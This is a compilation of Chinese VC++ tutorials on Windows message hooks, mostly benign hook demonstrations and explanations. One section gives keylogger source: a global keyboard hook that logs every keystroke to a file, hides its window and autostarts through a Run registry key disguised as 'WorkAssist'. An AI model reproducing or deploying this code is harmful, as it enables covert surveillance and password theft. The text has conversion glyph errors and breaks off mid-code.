   WH_CALLWNDPROC
   WH_CBT
   WH_DEBUG
   WH_GETMESSAGE
   WH_KEYBOARD
   WH_MOUSE
   WH_MSGFILTER
  用户可以通过使用菜单安装或者移走 hook 过程。当 hook 过程已经安装并且过程监视的时间发生时,h
ook 过程将在应用程序主窗口客户区写出事件信息。原代码如下:


#define NUMHOOKS 7 
 
// Global variables 
 
typedef struct _MYHOOKDATA 

    int nType; 
    HOOKPROC hkprc; 
    HHOOK hhook; 
} MYHOOKDATA; 
 
MYHOOKDATA myhookdata[NUMHOOKS]; 
  
LRESULT WINAPI MainWndProc(HWND hwndMain, UINT uMsg, WPARAM wParam, 
    LPARAM lParam) 

    static BOOL afHooks[NUMHOOKS]; 
    int index; 
    static HMENU hmenu; 
 
    switch (uMsg) 
    { 
        case WM_CREATE: 
 
            // Save the menu handle. 
 
            hmenu = GetMenu(hwndMain); 
 
            // Initialize structures with hook data. The menu-item 
            // identifiers are defined as 0 through 6 in the 
            // header file. They can be used to identify array 
            // elements both here and during the WM_COMMAND 
            // message. 
 
            myhookdata[IDM_CALLWNDPROC].nType = WH_CALLWNDPROC; 
            myhookdata[IDM_CALLWNDPROC].hkprc = CallWndProc; 
            myhookdata[IDM_CBT].nType = WH_CBT; 
            myhookdata[IDM_CBT].hkprc = CBTProc; 
            myhookdata[IDM_DEBUG].nType = WH_DEBUG; 
            myhookdata[IDM_DEBUG].hkprc = DebugProc; 
            myhookdata[IDM_GETMESSAGE].nType = WH_GETMESSAGE; 
            myhookdata[IDM_GETMESSAGE].hkprc = GetMsgProc; 
            myhookdata[IDM_KEYBOARD].nType = WH_KEYBOARD; 
            myhookdata[IDM_KEYBOARD].hkprc = KeyboardProc; 
            myhookdata[IDM_MOUSE].nType = WH_MOUSE; 
            myhookdata[IDM_MOUSE].hkprc = MouseProc; 
            myhookdata[IDM_MSGFILTER].nType = WH_MSGFILTER; 
            myhookdata[IDM_MSGFILTER].hkprc = MessageProc; 
 
            // Initialize all flags in the array to FALSE. 
 
            memset(afHooks, FALSE, sizeof(afHooks)); 
 
            return 0; 
 
        case WM_COMMAND: 
            switch (LOWORD(wParam))  
            { 
                 // The user selected a hook command from the menu. 
 
                case IDM_CALLWNDPROC: 
                case IDM_CBT: 
                case IDM_DEBUG: 
                case IDM_GETMESSAGE: 
                case IDM_KEYBOARD: 
                case IDM_MOUSE: 
                case IDM_MSGFILTER: 
 
                    // Use the menu-item identifier as an index 
                    // into the array of structures with hook data. 
 
                    index = LOWORD(wParam); 
 
                    // If the selected type of hook procedure isn't 
                    // installed yet, install it and check the 
                    // associated menu item. 
 
                    if (!afHooks[index]) 
                    { 
                        myhookdata[index].hhook = SetWindowsHookEx( 
                            myhookdata[index].nType, 
                            myhookdata[index].hkprc, 
                            (HINSTANCE) NULL, GetCurrentThreadId()); 
                        CheckMenuItem(hmenu, index, 
                            MF_BYCOMMAND | MF_CHECKED); 
                        afHooks[index] = TRUE; 
                    } 
 
                    // If the selected type of hook procedure is 
                    // already installed, remove it and remove the 
                    // check mark from the associated menu item. 
 
                    else 
                    { 
                        UnhookWindowsHookEx(myhookdata[index].hhook); 
                        CheckMenuItem(hmenu, index, 
                            MF_BYCOMMAND | MF_UNCHECKED); 
                        afHooks[index] = FALSE; 
                    } 
 
                default:  
                    return (DefWindowProc(hwndMain, uMsg, wParam, 
                        lParam)); 
            } 
            break; 
 
            //
            // Process other messages. 
            //
 
        default: 
            return DefWindowProc(hwndMain, uMsg, wParam, lParam); 
    } 
    return NULL; 

 
/**************************************************************** 
  WH_CALLWNDPROC hook procedure 
 ****************************************************************/ 
 
LRESULT WINAPI CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) 

    CHAR szCWPBuf[256]; 
    CHAR szMsg[16]; 
    HDC hdc; 
    static int c = 0; 
    int cch; 
 
    if (nCode < 0)  // do not process message 
        return CallNextHookEx(myhookdata[CALLWNDPROC].hhook, nCode, 
                wParam, lParam); 
 
    // Call an application-defined function that converts a message 
    // constant to a string and copies it to a buffer. 
 
    LookUpTheMessage((PMSG) lParam, szMsg); 
 
    hdc = GetDC(hwndMain); 
 
    switch (nCode) 
    { 
        case HC_ACTION: 
            cch = wsprintf(szCWPBuf, 
               "CALLWNDPROC - tsk: %ld, msg: %s, %d times   ", 
                wParam, szMsg, C++);  
            TextOut(hdc, 2, 15, szCWPBuf, cch); 
            break; 
 
        default: 
            break; 
    } 
 
    ReleaseDC(hwndMain, hdc); 
    return CallNextHookEx(myhookdata[CALLWNDPROC].hhook, nCode, 
        wParam, lParam); 

 
/**************************************************************** 
  WH_GETMESSAGE hook procedure 
 ****************************************************************/ 
 
LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam) 

    CHAR szMSGBuf[256]; 
    CHAR szRem[16]; 
    CHAR szMsg[16]; 
    HDC hdc; 
    static int c = 0; 
    int cch; 
 
    if (nCode < 0) // do not process message 
        return CallNextHookEx(myhookdata[GETMESSAGE].hhook, nCode, 
            wParam, lParam); 
 
    switch (nCode) 
    { 
        case HC_ACTION: 
            switch (wParam) 
            { 
                case PM_REMOVE: 
                    lstrcpy(szRem, "PM_REMOVE"); 
                    break; 
 
                case PM_NOREMOVE: 
                    lstrcpy(szRem, "PM_NOREMOVE"); 
                    break; 
 
                default: 
                    lstrcpy(szRem, "Unknown");  
                    break; 
            } 
 
            // Call an application-defined function that converts a 
            // message constant to a string and copies it to a 
            // buffer. 
 
            LookUpTheMessage((PMSG) lParam, szMsg); 
 
            hdc = GetDC(hwndMain); 
            cch = wsprintf(szMSGBuf, 
                "GETMESSAGE - wParam: %s, msg: %s, %d times   ", 
                szRem, szMsg, c++); 
            TextOut(hdc, 2, 35, szMSGBuf, cch); 
            break; 
 
        default: 
            break; 
    } 
 
    ReleaseDC(hwndMain, hdc); 
    return CallNextHookEx(myhookdata[GETMESSAGE].hhook, nCode, 
        wParam, lParam); 

 
/**************************************************************** 
  WH_DEBUG hook procedure 
 ****************************************************************/ 
 
LRESULT CALLBACK DebugProc(int nCode, WPARAM wParam, LPARAM lParam) 

    CHAR szBuf[128]; 
    HDC hdc; 
    static int c = 0; 
    int cch; 
 
    if (nCode < 0)  // do not process message 
        return CallNextHookEx(myhookdata[DEBUG].hhook, nCode, 
            wParam, lParam); 
 
    hdc = GetDC(hwndMain); 
 
    switch (nCode) 
    {  
        case HC_ACTION: 
            cch = wsprintf(szBuf, 
                "DEBUG - nCode: %d, tsk: %ld, %d times   ", 
                nCode,wParam, c++); 
            TextOut(hdc, 2, 55, szBuf, cch); 
            break; 
 
        default: 
            break; 
    } 
 
    ReleaseDC(hwndMain, hdc); 
    return CallNextHookEx(myhookdata[DEBUG].hhook, nCode, wParam, 
        lParam); 

 
/**************************************************************** 
  WH_CBT hook procedure 
 ****************************************************************/ 
 
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) 

    CHAR szBuf[128]; 
    CHAR szCode[128]; 
    HDC hdc; 
    static int c = 0; 
    int cch; 
 
    if (nCode < 0)  // do not process message 
        return CallNextHookEx(myhookdata[CBT].hhook, nCode, wParam, 
            lParam); 
 
    hdc = GetDC(hwndMain); 
 
    switch (nCode) 
    { 
        case HCBT_ACTIVATE: 
            lstrcpy(szCode, "HCBT_ACTIVATE"); 
            break; 
 
        case HCBT_CLICKSKIPPED: 
            lstrcpy(szCode, "HCBT_CLICKSKIPPED"); 
            break; 
  
        case HCBT_CREATEWND: 
            lstrcpy(szCode, "HCBT_CREATEWND"); 
            break; 
 
        case HCBT_DESTROYWND: 
            lstrcpy(szCode, "HCBT_DESTROYWND"); 
            break; 
 
        case HCBT_KEYSKIPPED: 
            lstrcpy(szCode, "HCBT_KEYSKIPPED"); 
            break; 
 
        case HCBT_MINMAX: 
            lstrcpy(szCode, "HCBT_MINMAX"); 
            break; 
 
        case HCBT_MOVESIZE: 
            lstrcpy(szCode, "HCBT_MOVESIZE"); 
            break; 
 
        case HCBT_QS: 
            lstrcpy(szCode, "HCBT_QS"); 
            break; 
 
        case HCBT_SETFOCUS: 
            lstrcpy(szCode, "HCBT_SETFOCUS"); 
            break; 
 
        case HCBT_SYSCOMMAND: 
            lstrcpy(szCode, "HCBT_SYSCOMMAND"); 
            break; 
 
        default: 
            lstrcpy(szCode, "Unknown"); 
            break; 
    } 
 
    cch = wsprintf(szBuf, "CBT - nCode: %s, tsk: %ld, %d times   ", 
        szCode, wParam, c++); 
    TextOut(hdc, 2, 75, szBuf, cch); 
    ReleaseDC(hwndMain, hdc); 
    return CallNextHookEx(myhookdata[CBT].hhook, nCode, wParam, 
        lParam); 
}  
 
/**************************************************************** 
  WH_MOUSE hook procedure 
 ****************************************************************/ 
 
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam) 

    CHAR szBuf[128]; 
    CHAR szMsg[16]; 
    HDC hdc; 
    static int c = 0; 
    int cch; 
 
    if (nCode < 0)  // do not process the message 
        return CallNextHookEx(myhookdata[MOUSE].hhook, nCode, 
            wParam, lParam); 
 
    // Call an application-defined function that converts a message 
    // constant to a string and copies it to a buffer. 
 
    LookUpTheMessage((PMSG) lParam, szMsg); 
 
    hdc = GetDC(hwndMain); 
    cch = wsprintf(szBuf, 
        "MOUSE - nCode: %d, msg: %s, x: %d, y: %d, %d times   ", 
        nCode, szMsg, LOWORD(lParam), HIWORD(lParam), c++); 
    TextOut(hdc, 2, 95, szBuf, cch); 
    ReleaseDC(hwndMain, hdc); 
    return CallNextHookEx(myhookdata[MOUSE].hhook, nCode, wParam, 
        lParam); 

 
/**************************************************************** 
  WH_KEYBOARD hook procedure 
 ****************************************************************/ 
 
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) 

    CHAR szBuf[128]; 
    HDC hdc; 
    static int c = 0; 
    int cch; 
 
    if (nCode < 0)  // do not process message  
        return CallNextHookEx(myhookdata[KEYBOARD].hhook, nCode, 
            wParam, lParam); 
 
    hdc = GetDC(hwndMain); 
    cch = wsprintf(szBuf, "KEYBOARD - nCode: %d, vk: %d, %d times ", 
        nCode, wParam, c++); 
    TextOut(hdc, 2, 115, szBuf, cch); 
    ReleaseDC(hwndMain, hdc); 
    return CallNextHookEx(myhookdata[KEYBOARD].hhook, nCode, wParam, 
        lParam); 

 
/**************************************************************** 
  WH_MSGFILTER hook procedure 
 ****************************************************************/ 
 
LRESULT CALLBACK MessageProc(int nCode, WPARAM wParam, LPARAM lParam) 

    CHAR szBuf[128]; 
    CHAR szMsg[16]; 
    CHAR szCode[32]; 
    HDC hdc; 
    static int c = 0; 
    int cch; 
 
    if (nCode < 0)  // do not process message 
        return CallNextHookEx(myhookdata[MSGFILTER].hhook, nCode, 
            wParam, lParam); 
 
    switch (nCode) 
    { 
        case MSGF_DIALOGBOX: 
            lstrcpy(szCode, "MSGF_DIALOGBOX"); 
            break; 
 
        case MSGF_MENU: 
            lstrcpy(szCode, "MSGF_MENU"); 
            break; 
 
        case MSGF_SCROLLBAR: 
            lstrcpy(szCode, "MSGF_SCROLLBAR"); 
            break; 
 
        default:  
            wsprintf(szCode, "Unknown: %d", nCode); 
            break; 
    } 
 
    // Call an application-defined function that converts a message 
    // constant to a string and copies it to a buffer. 
 
    LookUpTheMessage((PMSG) lParam, szMsg); 
 
    hdc = GetDC(hwndMain); 
    cch = wsprintf(szBuf, 
        "MSGFILTER  nCode: %s, msg: %s, %d times    ", 
        szCode, szMsg, c++); 
    TextOut(hdc, 2, 135, szBuf, cch); 
    ReleaseDC(hwndMain, hdc); 
    return CallNextHookEx(myhookdata[MSGFILTER].hhook, nCode, 
        wParam, lParam); 

未完待续。 




 
VC 利用 GlobalHook 进行后台监控的初步运用 
如果把这个利用全局钩子做后台监控的小程序视为一个工程的话,可以分为以下几个步骤;
1、通过动态链接库(dll)方式做全局钩子,应先建立 dll 工程;
2、动态链接库(dll)本身丌可运行,所以还需要建立一个 exe 工程,并调用上述 dll 工程中相应函数实现
所需功能;
3、所谓后台监控,即程序要有丌可见、开机自运行等特点,前者可以通过设置控件属性、调用相关 API
函数来实现,后者可以通过写入注册表等来实现。
下面主要谈一下各个步骤的具体实现,才疏学浅,仅供参考.
~1~动态链接库的建立
动态链接库(Dynamic Link Library)对于软件体系的发展来说具有里程碑的意义,具有很多优点,比如
说它可以节省内存并实现资源的共享,它丌依赖于编程语言,简化了软件项目的管理等等;当然,它也有
自身缺陷。在 VC 下,动态链接库可以有以下几种模式:
Non-MFC Dynamic Link Library/Regular Dynamic Link Library/Extension Dynamic Link Library
关于几种模式之间的差别网上资料很多,此处丌再赘述,这里选用 Regular Dynamic Link Library 方式建
立 dll 工程,头文件、源文件中的操作如下:
//Hook.h
…… 


#define DllExport __declspec(dllexport)         //宏定义


DllExport   void   WINAPI   InstallLaunchEv(); //钩子安装函数定义


……
//Hook.cpp
……


HHOOK   Hook;//钩子变量 
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam); //钩子安装回
调函数声明   
void SaveLog(char*   c);//保存数据函数
……
CHookApp theApp;
……
DllExport   void   WINAPI   InstallLaunchEv()     
{     
          Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)       
           LauncherHook,theApp.m_hInstance,0);     
}
LRESULT   CALLBACK   LauncherHook(int   nCode,WPARAM   wParam,LPARAM   lParam)     
{     
          LRESULT   Result=CallNextHookEx(Hook,nCode,wParam,lParam);
    
           if(nCode==HC_ACTION)     
         {     
                 if(lParam   &   0x80000000)     
                  {     
                        char   c[1];     
                        c[0]=wParam;     
                        SaveLog(c);     
                   }     
           }     
          return   Result;     
}
void   SaveLog(char*   c)     
{     
          CTime   tm=CTime::GetCurrentTime();     
          CString   name;     
          name.Format("d:qds\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());     
          CFile   file;     
           if(!file.Open(name,CFile::modeReadWrite))     
          {      
               file.Open(name,CFile::modeCreate|CFile::modeReadWrite);     
          }     
          file.SeekToEnd();     
          file.Write(c,1);     
          file.Close();     
}
对以上工程 Hook 编译即可,成功后生成 Hook.h,Hook.lib,Hook.dll 三个文件,其中最后一个位于工
程的 Debug 目录下。
~2~应用程序工程的建立
只需要建立一个普通的应用程序工程即可,这里选择基于对话框的应用程序。
鉴于操作比较简单,文件中添加代码直接如下:
//KeyHook.h
#include "Hook.h" //加入头文件
//KeyHookDlg.h
//KeyHookDlg.cpp
InstallLaunchEv();


HKEY hKey; 


LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 


long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey); 
if(lRet == ERROR_SUCCESS) 

    char pFileName[MAX_PATH] ="C:\\KeyHook.exe"; 
    DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH); 
    lRet = RegSetValueEx(hKey, "WorkAssist", 0, REG_SZ, (BYTE *)pFileName, dwRet);  
    RegCloseKey(hKey); 
    if(lRet != ERROR_SUCCESS) 
    { 
        AfxMessageBox("系统参数错误,丌能随系统启动"); 
    } 
}
考虑到钩子程序的运行额可以随系统的启动而开始运行,所以上述钩子的安装和注册表的操作都是在对话
框的初始化函数(OnInitDialolg())中迚行的。
~3~实现后台监控
这里主要是两个方面:程序“隐身”和自运行。
隐身的操作可在 Onpaint()函数中添加 API 函数 ::ShowWindow(m_hWnd,SW_HIDE)实现;程序随电脑
自运行看而通过 2 中写入注册表来实现。
总结:
以上主要通过一个简单的例子实现了钩子函数实现简单后台监控的功能,希望能对各位读者有所帮助,当
然其中也有丌足之处,希望读者提出大家共同迚步! 


 
 
浅谈 HOOK 技术在 VC 编程中的应用 
阅读:57 次   时间:2004-12-23 00:00:00   字体:[大 中 小] 
摘要: 本文针对 HOOK 技术在 VC 编程中的应用进行讨论,并着重对应用比较广泛的全局
HOOK 做了阐述。 
  引言 
  Windows 操作系统是建立在事件驱动机制之上的,系统各部分之间的沟通也都是通过
消息的相互传递而实现的。但在通常情况下,应用程序只能处理来自进程内部的消息或是从
其他进程发过来的消息,如果需要对在进程外传递的消息进行拦截处理就必须采取一种被称
为 HOOK(钩子)的技术。钩子是 Windows 操作系统中非常重要的一种系统接口,用它可
以轻松截获并处理在其他应用程序之间传递的消息,并由此可以完成一些普通应用程序难以
实现的特殊功能。基于钩子在消息拦截处理中的强大功能,本文即以 VC++ 6.0 为编程背景
对钩子的基本概念及其实现过程展开讨论。为方便理解,在文章最后还给出了一个简单的有
关鼠标钩子的应用示例。 
  钩子的基本原理 
  钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入到系统。钩子的
种类有很多,每一种钩子负责截获并处理相应的消息。钩子机制允许应用程序截获并处理发
往指定窗口的消息或特定事件,其监视的窗口即可以是本进程内的也可以是由其他进程所创
建的。在特定的消息发出,并在到达目的窗口之前,钩子程序先行截获此消息并得到对其的
控制权。此时在钩子函数中就可以对截获的消息进行各种修改处理,甚至强行终止该消息的
继续传递。 
  任何一个钩子都由系统来维护一个指针列表(钩子链表),其指针指向钩子的各个处理
函数。最近安装的钩子放在链的开始,最早安装的钩子则放在最后,当钩子监视的消息出现
时,操作系统调用链表开始处的第一个钩子处理函数进行处理,也就是说最后加入的钩子优
先获得控制权。在这里提到的钩子处理函数必须是一个回调函数(callback function),而且
不能定义为类成员函数,必须定义为普通的 C 函数。在使用钩子时可以根据其监视范围的
不同将其分为全局钩子和线程钩子两大类,其中线程钩子只能监视某个线程,而全局钩子则
可对在当前系统下运行的所有线程进行监视。显然,线程钩子可以看作是全局钩子的一个子
集,全局钩子虽然功能强大但同时实现起来也比较烦琐:其钩子函数的实现必须封装在动态
链接库中才可以使用。 
  钩子的安装与卸载 
  由于全局钩子具有相当的广泛性而且在功能上完全覆盖了线程钩子,因此下面就主要对
应用较多的全局钩子的安装与使用进行讨论。前面已经提过,操作系统是通过调用钩子链表
开始处的第一个钩子处理函数而进行消息拦截处理的。因此,为了设置钩子,只需将回调函
数放置于链首即可,操作系统会使其首先被调用。在具体实现时由函数 SetWindowsHookEx()
负责将回调函数放置于钩子链表的开始位置。SetWindowsHookEx()函数原型声明如下: 
HHOOK SetWindowsHookEx(int idHook;
HOOKPROC lpfn;
HINSTANCE hMod;
DWORD dwThreadId); 
  其中:参数 idHook 指定了钩子的类型,总共有如下 13 种: 
 
   WH_CALLWNDPROC 系统将消息发送到指定窗口之前的"钩子" 
   WH_CALLWNDPROCRET 消息已经在窗口中处理的"钩子" 
   WH_CBT 基于计算机培训的"钩子" 
   WH_DEBUG 差错"钩子" 
   WH_FOREGROUNDIDLE 前台空闲窗口"钩子" 
   WH_GETMESSAGE 接收消息投递的"钩子" 
   WH_JOURNALPLAYBACK 回放以前通过 WH_JOURNALRECORD"钩子"记录的输
入消息 
   WH_JOURNALRECORD 输入消息记录"钩子" 
   WH_KEYBOARD 键盘消息"钩子" 
   WH_MOUSE 鼠标消息"钩子" 
   WH_MSGFILTER 对话框、消息框、菜单或滚动条输入消息"钩子" 
   WH_SHELL 外壳"钩子" 
   WH_SYSMSGFILTER 系统消息"钩子" 
 
  参数 lpfn 为指向钩子处理函数的指针,即回调函数的首地址;参数 hMod 则标识了钩子
处理函数所处模块的句柄;第四个参数 dwThreadId 指定被监视的线程,如果明确指定了某
个线程的 ID 就只监视该线程,此时的钩子即为线程钩子;如果该参数被设置为 0,则表示
此钩子为监视系统所有线程的全局钩子。此函数在执行完后将返回一个钩子句柄。 
  虽然对于线程钩子并不要求其象全局钩子一样必须放置于动态链接库中,但是推荐其也
在动态链接库中实现。因为这样的处理不仅可使钩子可为系统内的多个进程访问,也可以在
系统中被直接调用,而且对于一个只供单进程访问的钩子,还可以将其钩子处理过程放在安
装钩子的同一个线程内,此时 SetWindowsHookEx()函数的第三个参数也就是该线程的实例
句柄。 
  在 SetWindowsHookEx()函数完成对钩子的安装后,如果被监视的事件发生,系统马上
会调用位于相应钩子链表开始处的钩子处理函数进行处理,每一个钩子处理函数在进行相应
的处理时都要考虑是否需要把事件传递给下一个钩子处理函数。如果要传递,就通过函数
CallNestHookEx()来解决。尽管如此,在实际使用时还是强烈推荐无论是否需要事件传递而
都在过程的最后调用一次 CallNextHookEx( )函数,否则将会引起一些无法预知的系统行为
或是系统锁定。该函数将返回位于钩子链表中的下一个钩子处理过程的地址,至于具体的返
回值类型则要视所设置的钩子类型而定。该函数的原型声明如下: 
LRESULT CallNextHookEx(HHOOK hhk;int nCode;WPARAM wParam;LPARAM lParam); 
  其中,参数 hhk 为由 SetWindowsHookEx()函数返回的当前钩子句柄;参数 nCode 为传
给钩子过程的事件代码;参数 wParam 和 lParam 则为传给钩子处理函数的参数值,其具体
含义同设置的钩子类型有关。 
  最后,由于安装钩子对系统的性能有一定的影响,所以在钩子使用完毕后应及时将其卸
载以释放其所占资源。释放钩子的函数为 UnhookWindowsHookEx(),该函数比较简单只有
一个参数用于指定此前由 SetWindowsHookEx()函数所返回的钩子句柄,原型声明如下: 
BOOL UnhookWindowsHookEx(HHOOK hhk);
 
  鼠标钩子的简单示例 
  最后,为更清楚展示 HOOK 技术在 VC 编程中的应用,给出一个有关鼠标钩子使用的
简单示例。在钩子设置时采用的是全局钩子。下面就对鼠标钩子的安装、使用以及卸载等过
程的实现进行讲述: 
  由于本例程需要使用全局钩子,因此首先构造全局钩子的载体--动态链接库。考虑到
Win32 DLL 与 Win16 DLL 存在的差别,在 Win32 环境下要在多个进程间共享数据,就必须
采取一些措施将待共享的数据提取到一个独立的数据段,并通过 def 文件将其属性设置为读
写共享: 
#pragma data_seg("TestData")
HWND glhPrevTarWnd=NULL; // 窗口句柄
HWND glhHook=NULL; // 鼠标钩子句柄
HINSTANCE glhInstance=NULL; // DLL 实例句柄
#pragma data_seg()
„„
SECTIONS // def 文件中将数据段 TestData 设置为读写共享
TestData READ WRITE SHARED 
  在安装全局鼠标钩子时使用函数 SetWindowsHookEx(),并设定鼠标钩子的处理函数为
MouseProc(),安装函数返回的钩子句柄保存于变量 glhHook 中: 
void StartHook(HWND hWnd)
{
„„
glhHook=(HWND)SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0);

  鼠标钩子安装好后,在移动、点击鼠标时将会发出鼠标消息,这些消息均经过消息处理
函数 MouseProc()的拦截处理。在此,每当捕获到系统各线程发出的任何鼠标消息后首先获
取当前鼠标所在位置下的窗口句柄,并进一步通过 GetWindowText()函数获取到窗口标题。
在处理函数完成后,通过 CallNextHookEx()函数将事件传递到钩子列表中的下一个钩子处理
函数: 
LRESULT WINAPI MouseProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *) lParam;
if(nCode>=0)
{
HWND glhTargetWnd=pMouseHook->hwnd; 
//取目标窗口句柄 
HWND ParentWnd=glhTargetWnd; 
while(ParentWnd !=NULL)
{
glhTargetWnd=ParentWnd; 
//取应用程序主窗口句柄 
ParentWnd=GetParent(glhTargetWnd); 

if(glhTargetWnd!=glhPrevTarWnd) 

char szCaption[100]; 
//取目标窗口标题 
GetWindowText(glhTargetWnd,szCaption,100); 
„„

}
//继续传递消息 
return CallNextHookEx((HHOOK)glhHook,nCode,wParam,lParam); 

  最后,调用 UnhookWindowsHookEx()函数完成对钩子的卸载: 
void StopHook()
{
„„
UnhookWindowsHookEx((HHOOK)glhHook);

  现在完成的是鼠标钩子的动态链接库,经过编译后需要经应用程序的调用才能实现对当
前系统下各线程间鼠标消息的拦截处理。这部分同普通动态链接库的使用没有任何区别,在
将其加载到进程后,首先调用动态链接库的 StartHook()函数安装好钩子,此时即可对系统下
的鼠标消息实施拦截处理,在动态链接库被卸载即终止鼠标钩子时通过动态链接库中的
StopHook()函数卸载鼠标钩子。 
  经上述编程,在安装好鼠标钩子后,鼠标在移动到系统任意窗口上时,马上就会通过对
鼠标消息的拦截处理而获取到当前窗口的标题。实验证明此鼠标钩子的安装、使用和卸载过
程是正确的。 
  小结 
  钩子,尤其是系统钩子具有相当强大的功能,通过这种技术可以对几乎所有的 Windows
系统消息和事件进行拦截处理。这种技术广泛应用于各种自动监控系统对进程外消息的监控
处理。本文只对钩子的一些基本原理和一般的使用方法做了简要的探讨,感兴趣的读者完全
可以在本文所述代码基础之上用类似的方法实现对诸如键盘钩子、外壳钩子等其他类型钩子
的安装与使用。本文所述代码在 Windows 98 下由 Microsoft Visual C++ 6.0 编译通过。 






 
VC 获取鼠标 hook 时的做法 
//NCButtonUpHelper.h 
#pragma  once 
extern HHOOK hMouseHook;
extern bool bNcLButtonDown; 
LRESULT CALLBACK MouseHookProc(int nCode,WPARAM wParam, LPARAM lParam); 
  
  
//NCButtonUpHelper.cpp 
#include "stdafx.h" 
HHOOK hMouseHook = NULL;
bool bNcLButtonDown = false; 
LRESULT CALLBACK MouseHookProc(int nCode,WPARAM wParam, LPARAM lParam)

 if (nCode == HC_ACTION)
 {
  PMOUSEHOOKSTRUCT mhs = (PMOUSEHOOKSTRUCT)lParam;
   CWnd   *pWnd   =   AfxGetMainWnd();
  switch (wParam)
  {
  case WM_NCLBUTTONDOWN:
   {
    if (HTCAPTION == mhs->wHitTestCode && mhs->hwnd == pWnd->GetSafeHwnd())
    {
     SendMessage(mhs->hwnd,WM_NCLBUTTONDOWN,HTCAPTION,MAKELONG(mhs->pt.x,mhs->pt.y));
     bNcLButtonDown = true;
    }
   }
   break;
  case WM_NCLBUTTONUP:
   {
    bNcLButtonDown = false;
   }
   break;
  case WM_LBUTTONUP:
   {
    if (true == bNcLButtonDown && mhs->hwnd == pWnd->GetSafeHwnd())
    {
     PostMessage(mhs->hwnd,WM_NCLBUTTONUP,HTCAPTION,MAKELONG(mhs->pt.x,mhs->pt.y));
     bNcLButtonDown = false;
    }
   }
   break;
  }
 } 
 return CallNextHookEx(hMouseHook,nCode,wParam,lParam);

  
//例子加入,鼠标点击客户区外(对话框标题栏、非设备区) 
#include "NCButtonUpHelper.h" 
在 OnInitDialog()初始化对话框里加入 
hMouseHook = SetWindowsHookEx(WH_MOUSE,
  (HOOKPROC)MouseHookProc, 
  (HINSTANCE)AfxGetInstanceHandle(),
  AfxGetThread()->m_nThreadID); 
  
在 OnDestroy()消息里添加卸载钩子 
if (hMouseHook != NULL)
 {
       UnhookWindowsHookEx(hMouseHook);
 } 
  
接下来就能用对话框里的各类非工作区或非客户区的消息了 
OnNcMouseMove(UINT nHitTest, CPoint point)、OnNcLButtonDown(UINT nHitTest, CPoint point)、
OnNcLButtonUp(UINT nHitTest, CPoint point)、OnNcHitTest(CPoint point) 
相关用法可以参考例子 
  
关于 SetWindowsHookEx 情况 MSDN,我这里引入了一个论坛上的内容,请耐心阅读 
******************************************************************************** 
This   article   was   contributed   by   Robert   Wiejak.   
  Environment:   MFC,   Windows   95,   98,   Me,   NT   3.51,   4.0,   5.0   


If   you   spend   time   investigating   what   happens   when   you   click   and   release   the   left
   button   over   the   title   bar,   you   will   find   out   that   instead   of   getting   "non-client 
 left   button   up "   message,   you   just   get   "left   button   up
".   One   could   actually   work   with   it,   if   the   message   found   it
's   way   into   the   application.   It   does   not. 


I   was   in   a   middle   of   writing   an   application   when   I   discovered   this.   I   looked   all
   over   the   internet   for   articles   regarding   WM_NCLBUTTONUP   problem,   but   the   only  
thing   I   could   find   were   questions   about   the   problem.   After   some   more   investigating
   I   have   come   up   with   a   patch   that   could   be   adopted   by   each   application   requ
iring   such   notification. 


The   patch   consists   of   installing   a   "windows   hook
"   that   will   intercept   all   mouse   messages   for   this   application   before   they   enter   int
o   the   message   pump.   To   do   that   you   need   to   call   SetWindowsHookEx(...)   function,
  soon   after   the   main   window   is   created.   Here   is   the   call:    


hMHook   =   SetWindowsHookEx(   
                                          //   hook   type:   
                                WH_MOUSE, 
                                          //   hook   procedure:   
                                (HOOKPROC)   MouseHookProc, 
                                          //   handle   to   application   instance:   
                                AfxGetInstanceHandle(), 
                                          //   thread   identifier:   
                                AfxGetThread()-> m_nThreadID 
                        ); 
It   is   very   important   that   you   supply   handle   to   application   instance   and   thread   ide
ntifier,   otherwise   every   application   running   on   your   computer   will   attempt   to   hook   i
t
's   mouse   messages   through   your   program   and   it   could   be   disastrous.   By   supplying 


these   two   parameters   you   will   insure   that   only   messages   from   your   application   will
   end   up   in   your   callback   function.   


Equally   important   is   a   call   to   remove   the   hook   before   your   application   terminates. 


The   UnhookWindowsHookEx(...)   function   removes   a   hook   procedure   installed   in   a   hook
  chain.   Most   likely   you   will   call   it   somewhere   in   OnDestroy(),   like   this:   


      if(hMHook   !=   NULL) 
            UnhookWindowsHookEx(hMHook); 
The   callback   function   is   where   you   will   receive   WM_NCLBUTTONDOWN   message   and  
the   next   time   you   receive   WM_LBUTTONUP   message   you   will   post   WM_NCLBUTTONUP
   directly   into   the   application   message   pump.   Therefore,   no   special   handling   will   be
  required   to   service   these   messages.   You   will   simply   write   your   code   inside   of   O
nNcLButtonUp(...),   just   like   you   would   for   any   other   message.   


Here   is   the   callback   code:   


//    
//   handle   to   the   mouse   hook 
HHOOK   hMHook   =   NULL; 


//   status   of   non-client   left   button   down 
BOOL   bNcLButtonDown   =   FALSE;     


//   / 
//   Mouse   hook   process 
 
LRESULT   CALLBACK   MouseHookProc(   int   nCode,   
                                                                WPARAM   wParam, 
                                                                LPARAM   lParam)   
{   
    if(nCode   ==   HC_ACTION)   
    {   
        //   get   a   pointer   to   the   mouse   hook   struct.   
        PMOUSEHOOKSTRUCT   mhs   =   (PMOUSEHOOKSTRUCT)   lParam;   
        
        //   intercept   messages   for   left   button   down   and   up 
        switch(wParam)   
        {   
                case   WM_NCLBUTTONDOWN:   
                  { 
                          //   get   the   pointer   to   the   main   window   
                          CWnd   *pWnd   =     AfxGetMainWnd();   


                          //   if   the   message   is   from   your   window   and   
